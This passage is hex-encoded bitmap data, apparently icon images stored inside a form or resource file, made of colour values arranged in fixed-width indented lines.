F6FFB7D6FEFF71A7F5FF2C6BCBFF00000000808080FFFFFFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF60AA80FF94D2\n      B1FFB9E6D0FF69BA8EFF2C8E56FF00000000C8926B00FFFFFF00F3F3F300BABA\n      BA00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FDFDF900FFFFFF00A871510080808000FFFFFF0000FFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0\n      C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF155C\n      C5FF0441BBFF1958C0FF000000FF00000000808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF5796\n      74FF4E8D65FF438861FF000000FF00000000D29C7200FFFFFF00F3F3F300BABA\n      BA00BABABA00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FDFDF900FDFD\n      F900F7F3ED00F7F3ED00FFFFFF00B07A570080808000FFFFFF00C0C0C00000FF\n      FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF\n      FF00C0C0C000808080000000000000000000808080FFFFFFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF808080FF000000FF00000000808080FFFFFFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF808080FF000000FF00000000D29C7200FFFFFF00F3F3F300BABA\n      BA00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00F6EDE900F7F3ED00F7F3\n      ED00FFFFFF00F7F3ED00FFFFFF00B07A570080808000FFFFFF0000FFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0\n      C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0\n      C0FF00FFFFFF808080FF000000FF00000000808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0\n      C0FF00FFFFFF808080FF000000FF00000000D29C7200FFFFFF00BABABA00BABA\n      BA00BABABA00FFFFFF00DCA57900FFFFFF00FBF6F200FDFDF900F7F3ED00F7F3\n      ED00F7F3ED00F7F3ED00FFFFFF00B37D5B0080808000FFFFFF00C0C0C00000FF\n      FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF\n      FF00C0C0C000808080000000000000000000808080FFFFFFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF808080FF000000FF00000000808080FFFFFFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF\n      FFFFC0C0C0FF808080FF000000FF00000000DCA57900FFFFFF00BABABA00FFFF\n      FF00FFFFFF00FFFFFF00DCA57900FFFFFF00FBF6F200F7F3ED00F7F3ED00F7F3\n      ED00F6EDE900F6EDE900FFFFFF00B6805D0080808000FFFFFF0000FFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0\n      C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0\n      C0FF00FFFFFF808080FF000000FF00000000808080FFFFFFFFFF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0\n      C0FF00FFFFFF808080FF000000FF00000000DCA57900FFFFFF00B5B5B500BABA\n      BA00FFFFFF00FFFFFF00DCA57900FFFFFF00F7F3ED00F6EDE900F6EDE900F6ED\n      E900F6EDE900F2E7DE00FFFFFF00B9845F0080808000FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00808080000000000000000000808080FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF808080FF000000FF00000000808080FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF808080FF000000FF00000000DCA57900FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00BC86620080808000C0C0C00000FFFF00C0C0\n      C00000FFFF00C0C0C00000FFFF00C0C0C0008080800080808000808080008080\n      800080808000808080000000000000000000808080FFC0C0C0FF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF808080FF808080FF8080\n      80FF808080FF808080FF0000000000000000808080FFC0C0C0FF00FFFFFFC0C0\n      C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF808080FF808080FF8080\n      80FF808080FF808080FF0000000000000000DCA57900DCA57900DCA57900DCA5\n      7900DCA57900DCA57900DCA57900DCA57900DCA57900DCA57900DCA57900DCA5\n      7900DCA57900DCA57900DCA57900BF8A65000000000080808000C0C0C00000FF\n      FF00C0C0C00000FFFF00C0C0C000808080000000000000000000000000000000\n      00000000000000000000000000000000000000000000808080FFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF0000000000000000000000000000\n      00000000000000000000000000000000000000000000808080FFC0C0C0FF00FF\n      FFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF0000000000000000000000000000\n      000000000000000000000000000000000000DDAB8400E8B89100E8B89100E8B8\n      9100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B8\n      9100E8B89100E8B89100E8B89100C08F6F000000000000000000808080008080\n      8000808080008080800080808000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000808080FF8080\n      80FF808080FF808080FF808080FF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000808080FF8080\n      80FF808080FF808080FF808080FF000000000000000000000000000000000000\n      000000000000000000000000000000000000FE00FE00DEB39000DCA57900DCA5\n      7900DCA57900DCA57900D29C7200D29C7200D29C7200CF997100CE986F00CE98\n      6F00C8926B00C8926B00C59D7E00FE00FE000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00\n      FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000133F570014415D002468\n      9B002B75B30079AFCF0000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000549B5D003E8D48003A8B44004B945200000000000000\n      000000000000000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D\n      9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D\n      9D009D9D9D009D9D9D00A1A1A100C9C9C900C7C7C700A1A1A1009D9D9D009D9D\n      9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D\n      9D009D9D9D009D9D9D00A1A1A100C9C9C9000000000014415D005C9BD400A4CF\n      F400A8CFEC00478AC0002B75B300000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000569E610040984F007CC18E0095D0A50095CFA50077BD8800368D41003A8B\n      440000000000000000000000000000000000A1A1A100F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400A1A1A100A1A1A100F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400A1A1A100000000001D6C9200CBE3F80060A9\n      EC003F97E8001466C100155FA9002B75B3000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000000000000569E\n      610063B37700A7DBB40085CB970065BB7C0065BB7C0085CB9700A7DBB40057A9\n      6A0034853B000000000000000000000000009D9D9D00F4F4F400FA5C5C00FA5C\n      5C00F4F4F400FA5C5C00FA5C5C00F4F4F400F4F4F400FA5C5C00FA5C5C00FA5C\n      5C00F4F4F400F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F4009D9D9D00000000001D6C9200CBE3F800D1E7\n      FA00337CB4003098C2006CC3DC00499BCF003382C70000000000000000000000\n      000000000000000000000000000000000000000000000000000066AB740069B8\n      7C00A7DBB4005FBB76005FBB760057B46D0057B46D0057B46D005AB67300A7DB\n      B40057A96A00408D470000000000000000009D9D9D00F4F4F400FA5C5C00FA5C\n      5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C\n      5C00FA5C5C00F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F4005C5C\n      AC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5C\n      AC00F4F4F400F4F4F400F4F4F4009D9D9D0000000000000000002588B800AFCB\n      E10066A8C8005FDCF50043D6F4008DEEFA005CB3E6003A8ED900000000000000\n      000000000000000000000000000000000000000000000000000052AA6700A8DD\n      B20063C078005EBD70005FBB7600FFFFFF00FFFFFF0058B66E0057B46D005AB6\n      7300A7DBB400368D410000000000000000009D9D9D00F4F4F400FA5C5C00FA5C\n      5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C\n      5C00FA5C5C00F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F4005C5CAC005C5C\n      AC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C\n      AC005C5CAC00F4F4F400F4F4F4009D9D9D000000000000000000000000002588\n      B800BDE6F200B2F4FC005FDCF50043D6F4008DEEFA005CB3E6003A8ED9000000\n      0000000000000000000000000000000000000000000076B6870089CC970088D3\n      95006AC5790062C06F0052AA6700FFFFFF00FFFFFF0058B66E0058B66E005FBB\n      760085CB97007ABD8C004B945200000000009D9D9D00F4F4F400FA5C5C00FA5C\n      5C00F4F4F400FA5C5C00FA5C5C00F4F4F400F4F4F400FA5C5C00FA5C5C00FA5C\n      5C00F4F4F400F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F4005C5C\n      AC005C5CAC005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C\n      AC005C5CAC00F4F4F400F4F4F4009D9D9D000000000000000000000000000000\n      0000268FBE00C2EDF800B2F4FC005FDCF50043D6F4008DEEFA005CB3E6003A8E\n      D900000000000000000000000000000000000000000069B07D00A8DDB2007CCF\n      890074CC8000FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF0057B4\n      6D0065BB7C009BD4AA003A8B4400000000009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400EEEEEE00EEEEEE00F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C\n      AC005C5CAC00EEEEEE00F4F4F4009D9D9D000000000000000000000000000000\n      0000000000002EB9E400C2EDF800B2F4FC005FDCF50043D6F4008DEEFA005CB3\n      E6003A8ED900000000000000000000000000000000006DB38100B5E2BD0088D3\n      95007AC98500FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF0058B6\n      6E006AC579009BD4AA003A8B4400000000009D9D9D00F4F4F400F4F4F400FA5C\n      5C00FA5C5C00FA5C5C00F4F4F400F4F4F400FA5C5C00FA5C5C00EEEEEE00FA5C\n      5C00FA5C5C00EEEEEE00F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F4005C5C\n      AC005C5CAC005C5CAC00F4F4F400F4F4F4005C5CAC005C5CAC005C5CAC005B5B\n      AA00EEEEEE00EEEEEE00F4F4F4009D9D9D000000000000000000000000000000\n      000000000000000000002EB9E400C2EDF800B2F4FC005FDCF50043D6F4008DEE\n      FA005CB3E6003A8ED90000000000000000000000000080BE9300A8DDB200A4DF\n      AE0080CB8B007AC9850069B87C00FFFFFF00FFFFFF0057A96A005FBB76005FBB\n      76008AD198007FC49100569E6100000000009D9D9D00F4F4F400FA5C5C00FA5C\n      5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C5C00FA5C5C00EEEEEE00F759\n      5900F7595900EEEEEE00F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F4005C5CAC005C5CAC00EEEEEE00EEEE\n      EE00E9E9E900EEEEEE00F4F4F4009D9D9D000000000000000000000000000000\n      00000000000000000000000000002EB9E400C2EDF800B2F4FC0067D9F5006ECF\n      F3005C9BD40072AADD004E8FC80000000000000000000000000084C79600D2EE\n      D70094D99F0088D395007EC88800FFFFFF00FFFFFF007AC985006AC579006AC5\n      7900ABDEB400449D560000000000000000009D9D9D00F4F4F400FA5C5C00FA5C\n      5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C5C00FA5C5C00EEEEEE00FA5C\n      5C00FA5C5C00F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F4005C5CAC005C5CAC00E5E5E500F4F4\n      F400F4F4F400F4F4F400F4F4F4009D9D9D000000000000000000000000000000\n      0000000000000000000000000000000000002EB9E400C2EDF800A7E2F8006BAD\n      DD00A4CFF400A4CFF400BCDBF7005795CC0000000000000000007DBE9100A8DD\n      B200D8F1DC0094D99F0080CB8B0080CB8B0088D3950088D3950082D28D00ABDE\n      B40069B87C0059A1660000000000000000009D9D9D00F4F4F400F4F4F400FA5C\n      5C00FA5C5C00FA5C5C00F4F4F400EEEEEE00F7595900F7595900E5E5E500FA5C\n      5C00F4F4F400E5E5E500BCBCBC00C7C7C7009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400EEEEEE00EEEEEE00EEEEEE00EEEEEE00EEEEEE00E5E5E500F4F4\n      F400F4F4F400E5E5E500BCBCBC00C7C7C7000000000000000000000000000000\n      000000000000000000000000000000000000000000002EB9E400A6D4F400C4E1\n      F800CCE3F900CCE3F900BCDBF7004E90C90000000000000000000000000077BD\n      8800AEDCBA00DCF2E000B5E4BC009ADBA4009ADBA400A4DFAE00BFE8C4007CC1\n      8E0056A164000000000000000000000000009D9D9D00F4F4F400F4F4F400F4F4\n      F400F4F4F400EEEEEE00EEEEEE00EEEEEE00EEEEEE00E5E5E500E5E5E500F4F4\n      F400EEEEEE00BCBCBC00C7C7C700000000009D9D9D00F4F4F400F4F4F400F4F4\n      F400EEEEEE00F4F4F400EEEEEE00EEEEEE00EEEEEE00E5E5E500E5E5E500F4F4\n      F400EEEEEE00BCBCBC00C7C7C700000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000004FA7D90069A4\n      D800CBE3F800CCE3F9004194CA0071A9D4000000000000000000000000000000\n      00007DBE910095CFA500C2E6CB00D2EED700C9E9CE00A8DDB20069B87C0067AC\n      760000000000000000000000000000000000A1A1A100F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400BCBCBC00C7C7C7000000000000000000A1A1A100F4F4F400F4F4F400F4F4\n      F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4\n      F400BCBCBC00C7C7C70000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000005CB0\n      DD004E8FC8004E8FC80048A8D700000000000000000000000000000000000000\n      0000000000000000000080BE930076B687006DB381007ABD8C00000000000000\n      000000000000000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D\n      9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D\n      9D00C7C7C700000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D\n      9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D\n      9D00C7C7C7000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000081818100797979000000000081AE91002371\n      4000186A36002371400081AE9100000000000000000000000000000000000000\n      000000000000000000000000000081818100797979000000000000000000225B\n      C0000441BB001E58BF0000000000000000000000000000000000000000000000\n      0000184259002A6087004987BB005089AD00717A830000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000081818100797979000000000014863100037A\n      1D00000000000000000000000000000000000000000000000000000000000000\n      000000000000000000008A8A8A00BDBDBD00B1B1B1003E694E00278B520063B9\n      8C0094D2B10063B98C00278B520081AE91000000000000000000000000000000\n      000000000000000000008A8A8A00BDBDBD00B1B1B1003F5E94002765C9002076\n      E6000578EA000163DD00064EBC00000000000000000000000000000000000000\n      00002A60870093C7F90090C9F9004084C9002267A9005C6A7500000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000008A8A8A00BDBDBD00B1B1B10067676700148B3A0042A0\n      5E002D8E45000000000000000000000000000000000000000000B1B1B1006F6F\n      6F0072727200000000008A8A8A00CDCDCD00C9C9C9001C6B390063B98C005FB8\n      8600FFFFFF005FB8860063B98C001F6E3C000000000000000000B1B1B1006F6F\n      6F0072727200000000008A8A8A00CDCDCD00C5C5C5000E48AF00629CF400177E\n      FF000075F8000075EE000367E1001D57BF000000000000000000B1B1B1006E6E\n      6E004288A900E0F2FF005399D8001979BD004897C400387FB700000000006666\n      66004E4E4E008F8F8F0000000000000000000000000000000000B1B1B1006F6F\n      6F007272720000000000219650001B904900158E4300148B3A00399E5D007FC0\n      950045A261001A7F320000000000000000000000000000000000BDBDBD00DDDD\n      DD00A5A5A5008A8A8A0081818100C9C9C900BDBDBD00307A4B009BD4B500FFFF\n      FF00FFFFFF00FFFFFF0094D2B100186A36000000000000000000BDBDBD00DDDD\n      DD00A5A5A5008A8A8A0081818100C5C5C500C5C5C5000441BB00ADCDFE00FFFF\n      FF00FFFFFF00FFFFFF00177EEF000441BB000000000000000000B9B9B900E1E1\n      E100708DA10079B5D5008FB6D10054C9E4005ADFF50077D0ED004490D10096A2\n      AC00D2D2D2007F7F7F0000000000000000000000000000000000BDBDBD00DDDD\n      DD00A5A5A50081818100289A5A0090CBA9008DC9A50089C6A00087C49D0069B5\n      840081C1960045A261001B833600000000000000000000000000A5A5A500D4D4\n      D400C9C9C900CDCDCD00CDCDCD00CDCDCD00C9C9C90047885F008FD3B00094D2\n      B100FFFFFF0063B98C0063B98C001F6E3C000000000000000000A5A5A500D4D4\n      D400C5C5C500CDCDCD00D4D4D400C5C5C500C5C5C5001D57BF008CB4F6004C91\n      FF001176FF002085FF003F89EB00225BC0000000000000000000A5A5A500D2D2\n      D200C4C4C40090B3C30074B8D600C2F6FD0062DFF7005CE2F80078D3F0004695\n      D900B8C2CD006E6E6E0000000000000000000000000000000000A5A5A500D4D4\n      D400C4C4C400CDCDCD00309E640090CBA9006EB98D006AB7880065B5840060B2\n      7F0065B5840081C196003B9F5B00068129000000000000000000D4D4D400C9C9\n      C900BDBDBD00C9C9C900C9C9C900A5A5A500A5A5A50088A7930060AA800094D2\n      B100B9E6D00069BA8E002C8E560081AE91000000000000000000D4D4D400C5C5\n      C500C5C5C500C5C5C500C5C5C500AAAAAA00A5A5A500748FC1003A74D1008CB4\n      F600B7D6FE0071A7F5002E6BCB00000000000000000000000000D2D2D200C4C4\n      C400C4C4C400C4C4C4008BAFC10076CBE700C2F6FD005ADFF50059E1F70078D3\n      F0004695D90096A8B80000000000000000000000000000000000D4D4D400C4C4\n      C400C4C4C400C4C4C40036A26A0095CEAF0090CBA90090CBA9008DC9A50073BB\n      8F0089C6A00045A261000A87370000000000B1B1B1009A9A9A00A5A5A500CDCD\n      CD00C9C9C900C9C9C900AEAEAE000000000000000000A5A5A5008DAA98005C95\n      71004E8D650047885F004B6F580072727200B1B1B1009A9A9A00A5A5A500CDCD\n      CD00C5C5C500CDCDCD00B1B1B1000000000000000000A5A5A500748FC1002159\n      BF000441BB000E48AF0038578F0072727200B1B1B1009A9A9A00A5A5A500CDCD\n      CD00C4C4C400CDCDCD00B1B1B100000000007BD4EE00C7F7FD0062DFF70059E1\n      F70078D3F0004490D10062707B0073737300B1B1B1009A9A9A00A5A5A500CDCD\n      CD00C4C4C400CDCDCD003CA46E003CA46E0036A26A002F9C610054AE7B0090CB\n      A9004EAA7300158E43006F6F6F0072727200BDBDBD00E5E5E500D4D4D400C9C9\n      C900C9C9C900AEAEAE0000000000000000000000000000000000A5A5A500C9C9\n      C900B1B1B100BDBDBD00D4D4D40061616100BDBDBD00E5E5E500D4D4D400C5C5\n      C500CDCDCD00AAAAAA0000000000000000000000000000000000A5A5A500C5C5\n      C500B1B1B100C5C5C500D4D4D40061616100B9B9B900E5E5E500D2D2D200C4C4\n      C400CDCDCD00B1B1B1000000000000000000000000007BD4EE00C2F6FD006BDD\n      F6006CCAED0062A2D700659DD1005C6A7500BDBDBD00E5E5E500D4D4D400C4C4\n      C400CDCDCD00AEAEAE0000000000000000000000000000000000399F670059B2\n      800021965000C1C1C100D2D2D20061616100C9C9C900E5E5E500D4D4D400C9C9\n      C900CDCDCD00A5A5A50000000000000000000000000000000000AEAEAE00C9C9\n      C900B1B1B100C9C9C900DDDDDD006F6F6F00C5C5C500E5E5E500D4D4D400CDCD\n      CD00CDCDCD00A5A5A50000000000000000000000000000000000AAAAAA00C5C5\n      C500BDBDBD00C5C5C500DDDDDD006F6F6F00C4C4C400E9E9E900D2D2D200CDCD\n      CD00CDCDCD00A5A5A500000000000000000000000000A2D4E3007BD4EE00B1E3\n      F9008ABFE700ADD3F600C3E0FC00659DD100C4C4C400E5E5E500D4D4D400CDCD\n      CD00CDCDCD00A5A5A500000000000000000000000000000000003CA46E00309E\n      6400BDBDBD00C4C4C400DDDDDD006F6F6F00D4D4D400C9C9C900C9C9C900D4D4\n      D400CDCDCD00BDBDBD009A9A9A000000000000000000A5A5A500BDBDBD00C9C9\n      C900CDCDCD008A8A8A00929292009A9A9A00D4D4D400CDCDCD00C5C5C500D4D4\n      D400CDCDCD00BDBDBD009A9A9A000000000000000000A5A5A500C5C5C500BDBD\n      BD00CDCDCD008A8A8A00929292009A9A9A00D2D2D200CDCDCD00C4C4C400D9D9\n      D900CDCDCD00B9B9B9009A9A9A000000000000000000A5A5A50089BECE0076BD\n      E700B3D2F000E0F2FF00ABD2EF004E8CC200D4D4D400CDCDCD00C4C4C400D4D4\n      D400CDCDCD00BDBDBD009A9A9A000000000000000000A5A5A500C4C4C400C4C4\n      C400CDCDCD0092929200929292009A9A9A000000000000000000DDDDDD00D4D4\n      D400CDCDCD00CDCDCD00BDBDBD009A9A9A00A5A5A500BDBDBD00C9C9C900BDBD\n      BD00B1B1B100C9C9C90000000000000000000000000000000000DDDDDD00D4D4\n      D400CDCDCD00CDCDCD00BDBDBD009A9A9A00A5A5A500C5C5C500C5C5C500BDBD\n      BD00B1B1B100C5C5C50000000000000000000000000000000000E5E5E500D2D2\n      D200CDCDCD00CDCDCD00B9B9B9009A9A9A00A5A5A500C4C4C400C4C4C40091BA\n      CA0057A4D80084B0DB00459CD000000000000000000000000000DDDDDD00D4D4\n      D400CDCDCD00CDCDCD00BDBDBD009A9A9A00A5A5A500C4C4C400C4C4C400BDBD\n      BD00B1B1B100C4C4C40000000000000000000000000000000000C9C9C900DDDD\n      DD00D4D4D400D4D4D400DDDDDD00D4D4D400D4D4D400DDDDDD00CDCDCD00CDCD\n      CD00C9C9C9007272720000000000000000000000000000000000C5C5C500DDDD\n      DD00D4D4D400D4D4D400DDDDDD00D4D4D400D4D4D400D4D4D400D4D4D400CDCD\n      CD00CDCDCD007272720000000000000000000000000000000000C4C4C400D9D9\n      D900D2D2D200D9D9D900D9D9D900D2D2D200D2D2D200D9D9D900D2D2D200CDCD\n      CD00C9C9C9007878780000000000000000000000000000000000C4C4C400DDDD\n      DD00D4D4D400D4D4D400DDDDDD00D4D4D400D4D4D400D4D4D400D4D4D400CDCD\n      CD00C9C9C9007979790000000000000000000000000000000000DDDDDD00E9E9\n      E900DDDDDD00C9C9C900BDBDBD00D4D4D400D4D4D400AEAEAE00AEAEAE00CDCD\n      CD00E5E5E500B1B1B10000000000000000000000000000000000DDDDDD00EDED\n      ED00DDDDDD00C5C5C500BDBDBD00D4D4D400D4D4D400AAAAAA00AAAAAA00CDCD\n      CD00E5E5E500B1B1B10000000000000000000000000000000000D9D9D900EDED\n      ED00D9D9D900C4C4C400B9B9B900D9D9D900D2D2D200B1B1B100AEAEAE00CDCD\n      CD00E5E5E500B1B1B10000000000000000000000000000000000DDDDDD00EDED\n      ED00DDDDDD00C4C4C400BDBDBD00D4D4D400D4D4D400B1B1B100AEAEAE00CDCD\n      CD00E5E5E500B1B1B10000000000000000000000000000000000E5E5E500CDCD\n      CD00CDCDCD0000000000C9C9C900DDDDDD00DDDDDD00B1B1B10000000000B1B1\n      B100A5A5A500CDCDCD0000000000000000000000000000000000E5E5E500CDCD\n      CD00CDCDCD0000000000C5C5C500DDDDDD00DDDDDD00BDBDBD0000000000B1B1\n      B100A5A5A500CDCDCD0000000000000000000000000000000000E5E5E500D2D2\n      D200CDCDCD0000000000CDCDCD00D9D9D900E1E1E100B9B9B90000000000B1B1\n      B100A5A5A500CDCDCD0000000000000000000000000000000000E5E5E500CDCD\n      CD00CDCDCD0000000000C4C4C400DDDDDD00DDDDDD00BDBDBD0000000000B1B1\n      B100A5A5A500C9C9C90000000000000000000000000000000000000000000000\n      00000000000000000000CDCDCD00E5E5E500E5E5E500B1B1B100000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000CDCDCD00E5E5E500E5E5E500AAAAAA00000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000CDCDCD00E5E5E500E5E5E500B1B1B100000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000CDCDCD00E5E5E500E5E5E500AEAEAE00000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000D4D4D400D4D4D40000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000D4D4D400D4D4D40000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000D2D2D200D2D2D20000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000D4D4D400D4D4D40000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000A5A5A500A5A5A5009D9D9D00A5A5A5009D9D\n      9D009D9D9D009D9D9D009D9D9D00000000000000000000000000000000000000\n      0000000000006BA36E0045894800367E3900367E390042864500077E2500037A\n      1D00000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000A5A5A500A5A5A500A1A1A100A1A1A100A1A1\n      A100A1A1A100A1A1A1009A9A9A00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000497FAA001F6297001F62\n      97001F6297002362940057728700F5F5F500F0F0F000F5F5F500F0F0F000F0F0\n      F000F0F0F000F0F0F000F5F5F5009D9D9D0000000000000000000000000073AE\n      78003C8A41009AC49C00B2C19C00BCC09B00BCC09B00AFD2B0000B87330042A0\n      